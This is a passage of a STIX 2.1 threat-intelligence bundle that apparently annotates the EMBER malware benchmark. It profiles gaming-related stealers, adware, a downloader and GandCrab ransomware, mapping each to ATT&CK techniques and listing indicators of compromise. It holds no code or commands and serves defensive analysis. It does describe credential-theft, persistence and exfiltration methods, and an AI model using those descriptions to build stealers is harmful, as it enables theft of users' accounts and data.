      "description": "Gamethief exhibits technique T1005 (Data from Local System (Staging targeted files for exfiltration))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--64166284-b93c-5d35-8bfb-3fff14466e29",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Gametool",
      "description": "GameTool (classified in endpoint detection telemetry under designations including Trojan:Win32/GameTool, Spyware:Win32/GameTool, and HackTool:Win32/GameTool) is a deceptive trojan and info-stealer distributed disguised as video game enhancement software, aimbots, wallhacks, and cheat loaders for popular multiplayer titles. Once executed by unsuspecting gamers, GameTool requests elevated administrative permissions under the guise of injecting into game memory. Instead, it deploys background keyloggers and token grabbers, targeting gaming platform credentials (such as Steam, Discord tokens, Epic Games, Riot Games), web browser saved passwords (Chrome, Edge, Firefox), and cryptocurrency wallet extensions. GameTool establishes persistence via registry Run entries (HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run), exfiltrating harvested credentials and session tokens to attacker Discord webhooks or Telegram bots over HTTPS. (Observed samples in benchmark: 17)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/GameTool",
        "Spyware:Win32/GameTool",
        "HackTool:Win32/GameTool",
        "Win32/GameTool",
        "GameTool Cheat Stealer"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Gametool",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/gametool"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--64efb321-cd8f-52f6-8ecc-a5112e8de322",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Gamevance",
      "description": "Adware:Win32/Gamevance is a historic, highly aggressive adware framework and Potentially Unwanted Program (PUA) that peaked in the late 2000s and early 2010s. It specifically targeted the demographic of online casual gamers, offering 'free' web games, flash portals, or game cheats, while silently installing a deeply embedded advertising engine designed to track browsing habits and inject pop-ups.<br><br><b>What is Gamevance?</b><br>To the average user, Gamevance was infuriating. While they might get access to a free flash game portal, the adware hijacked their browser, changed default search engines, and constantly interrupted gameplay and browsing with targeted pop-up and pop-under advertisements. For security analysts, Gamevance was notable for its aggressive persistence mechanisms, which were more akin to a rootkit or serious trojan than standard adware, making it notoriously difficult for average users to remove.<br><br><b>Infection Vectors & Threat Hunting</b><br>Gamevance was distributed via its own portal sites (like `gamevance.com`) and bundled with gaming-related freeware (`T1189`). When a user accepted the deceptive EULA (`T1204.002`), the installer dropped the payload. Gamevance frequently installed a hidden Windows Service (`T1543.003`) and multiple Browser Helper Objects (BHOs) (`T1176`). It deeply hooked into the Windows TCP/IP stack (often using a Layered Service Provider - LSP) to intercept and monitor all web traffic, injecting its ads directly into the data stream (`T1185`).<br><br><b>Forensic Analysis & Impact</b><br>The primary impact was a severely degraded user experience, broken internet connectivity (due to LSP corruption), and compromised browsing privacy. Incident responders would observe anomalous HTTP/HTTPS traffic to Gamevance's ad-tracking networks. EDR logs would flag the installation of hidden services, BHOs, and the aggressive modification of network socket configurations in the Registry. (Observed samples in benchmark: 11)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Gamevance",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/gamevance"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f5e5bd46-bcbb-5a5f-a6ed-a756add005ec",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--64efb321-cd8f-52f6-8ecc-a5112e8de322",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gamevance exhibits technique T1189 (Drive-by Compromise (Bundled gaming software))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8d410bed-193b-51ab-86b9-c2da3f95d260",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--64efb321-cd8f-52f6-8ecc-a5112e8de322",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gamevance exhibits technique T1185 (Browser Session Hijacking (Traffic interception for ad injection))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d7d58343-d9e3-5b4a-96aa-1e598354dd2e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--64efb321-cd8f-52f6-8ecc-a5112e8de322",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gamevance exhibits technique T1543.003 (Create or Modify System Process: Windows Service)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bd808574-5c75-53f1-9bb7-0273580daaa1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--64efb321-cd8f-52f6-8ecc-a5112e8de322",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gamevance exhibits technique T1176 (Browser Extensions (BHOs))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--614b8218-e3f4-5f9e-ab97-a75cb75ce492",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--64efb321-cd8f-52f6-8ecc-a5112e8de322",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gamevance exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d3dbb2a5-e6f9-58c6-b97c-00238cb2d5b1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Gamium",
      "description": "<h3>Executive Summary</h3>\nGamium is a Potentially Unwanted Program (PUP) and adware variant that specifically targets the monetization of the user's web browsing activity. It is characterized by its intrusive advertising techniques and its ability to significantly degrade the user experience while collecting unauthorized behavioral data.\n\n<h3>Infection Vector and Operational Tactics</h3>\nGamium almost exclusively relies on \"bundling\" as its primary distribution method. It is hidden within the installation wizards of legitimate, often open-source, software downloaded from untrustworthy hosting sites. \n\nUpon successful installation, Gamium integrates deeply with the operating system. It deploys dynamic link libraries (DLLs) that hook into the user's web browsers, monitoring HTTP and HTTPS traffic. The adware excels at displaying persistent pop-under ads, banner injections, and hyperlink modifications (turning regular text on websites into sponsored links). Gamium maintains a constant connection to its command-and-control servers, downloading updated blacklists of security software to evade detection and fetching new advertising payloads tailored to the user's tracked interests.\n\n<h3>Threat Impact</h3>\nGamium poses a severe risk to data privacy. It aggressively harvests user telemetry, which is often transmitted in plaintext or weak encryption to third-party servers. The adware's hooking mechanisms can also cause browser instability, leading to frequent crashes and a severe reduction in system responsiveness.\n\n<h3>Mitigation Best Practices</h3>\n<ul>\n<li><strong>Software Procurement:</strong> Enforce strict policies requiring employees to download software exclusively from official vendor websites or approved enterprise software portals.</li>\n<li><strong>Endpoint Scans:</strong> Conduct thorough heuristic scans using enterprise-grade anti-malware solutions to detect Gamium's obfuscated DLLs.</li>\n<li><strong>Host Intrusion Prevention Systems (HIPS):</strong> Utilize HIPS to monitor and block unauthorized DLL injections into browser processes.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.Gamium",
        "PUP.Gamium",
        "Win32/Gamium"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Gamium",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/gamium"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9f6755ec-bdc9-5df6-9bbc-7599f808e374",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d3dbb2a5-e6f9-58c6-b97c-00238cb2d5b1",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gamium exhibits technique T1566.002 (Phishing: Spearphishing Link (Social engineering to force the user to download the tool))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6f5e54af-4010-5504-8d36-feaa6077c10f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d3dbb2a5-e6f9-58c6-b97c-00238cb2d5b1",
      "target_ref": "attack-pattern--0a1fb694-bbfe-5e7d-89e1-1f78720af865",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gamium exhibits technique T1055.001 (Dynamic-link Library Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8cfff6c8-3f33-5dd2-9bc9-bc30c22fa7e1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d3dbb2a5-e6f9-58c6-b97c-00238cb2d5b1",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gamium exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8d7cf463-3560-52a0-a977-203db6b9a30f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Gampass",
      "description": "Trojan-PSW:Win32/Gampass is a specialized credential stealer designed specifically to target the lucrative online gaming market. Unlike traditional banking trojans, Gampass targets authentication credentials for platforms like Steam, Origin, Battle.net, and specific MMOs (e.g., World of Warcraft). The attacker's goal is to hijack the accounts to steal and sell valuable virtual items, in-game currency, or the accounts themselves on gray-market forums (`T1552`).<br><br><b>Understanding Gampass (Gaming Credential Stealers)</b><br>To an end-user, the infection often goes unnoticed until they attempt to log into their game and find their password changed or their virtual inventory emptied. For threat intelligence, Gampass represents a massive, highly organized underground economy. Because gaming platforms historically had weaker Two-Factor Authentication (2FA) adoption than banks, they became prime targets for rapid monetization.<br><br><b>Execution and Theft Mechanics</b><br>Gampass is usually distributed via gaming-related channels: fake 'cheats', 'aimbots', 'currency generators', or malicious links posted in gaming Discord servers or forums (`T1566.002`). Upon execution, the trojan rarely attempts deep persistence. Instead, it immediately scans the file system for specific registry keys, configuration files (`.vdf` files for Steam), or session tokens associated with targeted gaming clients (`T1005`). It also implements keylogging (`T1056.001`) to capture the username and password when the user next logs into the game client. The stolen data is quickly exfiltrated to a C2 server.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is the loss of the gaming account and associated virtual assets, which can represent significant real-world monetary value. Host-based IoCs include EDR alerts for unknown executables accessing the specific installation directories of gaming clients (e.g., `C:\\Program Files (x86)\\Steam`), unauthorized API hooking of keyboard input (`SetWindowsHookEx`), and the rapid creation and deletion of temporary files used for staging stolen data. Network IoCs involve outbound HTTP/FTP traffic to exfiltrate the credentials. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Gampass",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/gampass"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--05046966-cf25-50f8-8115-8dbd8f14ee42",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8d7cf463-3560-52a0-a977-203db6b9a30f",
      "target_ref": "attack-pattern--dfecdec0-7be6-56fc-8789-28cce9b2a2fc",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gampass exhibits technique T1552 (Unsecured Credentials (Searching for saved session tokens and config files))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ca03b2a0-e6d7-5cbd-b04e-02d927fa3286",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8d7cf463-3560-52a0-a977-203db6b9a30f",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gampass exhibits technique T1056.001 (Input Capture: Keylogging (Capturing passwords entered into game clients))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--219fb361-cb31-5147-8ca2-c920b5b8083d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8d7cf463-3560-52a0-a977-203db6b9a30f",
      "target_ref": "attack-pattern--30e9046a-dc48-58d0-a60d-f1836784f5a7",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gampass exhibits technique T1005 (Data from Local System (Staging targeted files for exfiltration))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2871b32e-eda2-550f-8a5c-199198c74c65",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Gamsoft",
      "description": "Adware:Win32/Gamsoft is a detection for a potentially malicious software packager or bundler. It is designed to act as a primary installation wrapper, promising the user a piece of legitimate freeware or pirated content, but its true intent is to silently download and install a payload of Potentially Unwanted Programs (PUPs), adware toolbars, and sometimes outright trojans in the background.<br><br><b>Understanding Gamsoft (Software Bundlers)</b><br>To an end-user, executing Gamsoft looks like a standard, if somewhat aggressive, software setup wizard. For a security analyst, encountering this detection implies that the endpoint has likely been exposed to multiple secondary payloads. The business model relies on Pay-Per-Install (PPI) networks, where the distributor gets paid for every extra toolbar or adware application they successfully sneak onto the victim's machine.<br><br><b>Execution and Bundling Mechanics</b><br>Gamsoft is usually encountered when users attempt to download software from untrusted third-party portals (`T1189`). When the user runs the installer, the UI presents deceptive 'Express Install' options. If the user clicks 'Next' without reading the fine print, the wrapper reaches out to its C2 servers (`T1105`) and silently executes secondary installers in the background. These secondary payloads establish persistence (`T1547.001`), modify browser settings (`T1112`), and inject advertisements. The 'Gamsoft' wrapper itself is essentially a highly weaponized download manager.<br><br><b>Indicators of Compromise & Impact</b><br>The impact ranges from extreme annoyance (adware) to full system compromise (if the bundler drops a trojan). Host-based IoCs include EDR alerts for a single setup executable spawning multiple unrelated child processes (`msiexec.exe`, `cmd.exe`, or unknown binaries in `%Temp%`), sudden modifications to browser shortcut properties, and the appearance of unrequested desktop icons. Network IoCs include the installer reaching out to affiliate networks (often ad-tracking domains) to register a successful installation and download the secondary payloads. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Gamsoft",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/gamsoft"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b3718124-1594-5112-b569-6ff52664a2f8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2871b32e-eda2-550f-8a5c-199198c74c65",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gamsoft exhibits technique T1189 (Drive-by Compromise (Bundled installations))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--818d5a79-f11d-551e-b6b2-8d48a52e1d4a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2871b32e-eda2-550f-8a5c-199198c74c65",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gamsoft exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0f68b84d-fd54-5459-9694-a5e9607a91e2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2871b32e-eda2-550f-8a5c-199198c74c65",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gamsoft exhibits technique T1105 (Ingress Tool Transfer (Downloading bundled payloads))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c3eb32db-7a81-5c1c-a5ab-552ce0aab9e5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2871b32e-eda2-550f-8a5c-199198c74c65",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gamsoft exhibits technique T1112 (Modify Registry (Browser hijacking by dropped payloads))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d9f731f2-ae6c-58ea-8414-3aae0c6fe519",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Gamsofts",
      "description": "Adware:Win32/Gamsofts (or PUA:Win32/Gamsofts) is a classification for Potentially Unwanted Programs (PUPs) and adware that disguise themselves as legitimate utilities\u2014typically gaming tools, cheat engines, or free software aggregators. While they may actually perform some function, their primary, hidden purpose is to monetize the user by aggressively injecting advertisements into web traffic (`T1566.002`) and altering system settings.<br><br><b>Understanding Gamsofts (Adware / PUPs)</b><br>To an end-user, the computer becomes sluggish, and they are bombarded with pop-up ads, fake 'update' alerts, and redirected search queries. For a SOC analyst, adware represents a significant risk because the infrastructure used to deliver adware is frequently repurposed to deliver severe malware, and the aggressive hooking techniques adware uses can create systemic instability.<br><br><b>Execution and Monetization Mechanics</b><br>Gamsofts usually gains access via 'bundling' (`T1189`). When a user downloads a free gaming utility from a shady website, the adware is silently installed alongside it. It establishes persistence via the registry or as a browser extension (`T1176`). Once active, it intercepts the user's HTTP/HTTPS traffic. It injects Javascript into every webpage the user visits to display unwanted ads, replace legitimate ads with the attacker's own (to steal ad revenue), or track the user's browsing habits to sell their data.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is primarily a degradation of system performance and user experience, though the risk of secondary infections is high. Host-based IoCs include the presence of unknown browser extensions, modifications to the browser's default search engine or home page, and numerous unknown executables running from the `%LocalAppData%` directory. Network IoCs include DNS requests to known adware tracking domains and ad-injection networks. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Gamsofts",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/gamsofts"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--72f19c3f-bbe0-56a0-b453-bab5f22a1dbd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d9f731f2-ae6c-58ea-8414-3aae0c6fe519",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gamsofts exhibits technique T1176 (Browser Extensions (Installing malicious add-ons to inject ads and track users))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d3f82870-0d13-576d-81c9-1def61f8c389",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d9f731f2-ae6c-58ea-8414-3aae0c6fe519",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gamsofts exhibits technique T1189 (Drive-by Compromise (Often bundled with legitimate software downloads))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b18c1a02-bacf-5ceb-b764-7fd446c1dc27",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d9f731f2-ae6c-58ea-8414-3aae0c6fe519",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gamsofts exhibits technique T1566.002 (Phishing: Spearphishing Link (Displaying fake 'update required' popups))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--cb660669-3b98-52f1-b0c9-8b85c182b547",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Gamup",
      "description": "Trojan:Win32/Gamup is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Gamup</b><br>To an end-user, a Gamup infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Gamup is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Gamup is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Gamup frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Gamup reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Gamup",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/gamup"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a0a96de8-249c-56a0-bf14-565253db7d9a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cb660669-3b98-52f1-b0c9-8b85c182b547",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gamup exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fd72eb8f-1c18-537f-b190-6017f6008735",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cb660669-3b98-52f1-b0c9-8b85c182b547",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gamup exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--50d734f6-a1d1-52d8-9c4e-bd31583377f2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cb660669-3b98-52f1-b0c9-8b85c182b547",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gamup exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f7a2b1ff-6284-5024-a5bc-c707e487e146",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cb660669-3b98-52f1-b0c9-8b85c182b547",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gamup exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7c972a30-321b-53ff-809c-b69540c96e5a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cb660669-3b98-52f1-b0c9-8b85c182b547",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gamup exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--810a8271-d280-5d2a-b8c3-8f0a9490a148",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Gandcrab",
      "description": "GandCrab is a landmark ransomware family that revolutionized the modern cyber extortion industry by pioneering and popularizing the Ransomware-as-a-Service (RaaS) affiliate model. First appearing on underground cybercrime forums in January 2018, GandCrab was developed and maintained by an elite cybercrime group known as PINCHY SPIDER. The operators recruited vetted affiliates through Russian-language forums like Exploit.in and XSS, granting them customized builds and management panels in exchange for a 20% to 30% cut of all extorted ransom payments.\n\nBetween January 2018 and June 2019, GandCrab underwent rapid, aggressive technological iteration spanning versions v1 through v5.2. The ransomware integrated sophisticated anti-analysis techniques, process termination routines targeting database and backup services (`sql.exe`, `oracle.exe`, `vssadmin.exe`), and multi-threaded file encryption using RSA-2048 and Salsa20 cryptographic algorithms. Affiliates distributed GandCrab through an array of exploit kits (Rig, GrandSoft, Fallout), spear-phishing campaigns with malicious Word documents, and brute-force Remote Desktop Protocol (RDP) intrusions.\n\nIn May 2019, the operators announced their 'retirement' on underground forums, publicly boasting that they had extorted more than $2 billion in ransom payments and laundered their profits into legitimate businesses. However, threat intelligence researchers and law enforcement quickly established that the core PINCHY SPIDER development team did not retire; rather, they restructured their operation to launch REvil (Sodinokibi), utilizing a directly inherited codebase to execute high-profile enterprise big-game hunting. (Observed samples in benchmark: 2,992)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "GandCrab",
        "GandCrab v1-v5.2",
        "GDCB"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
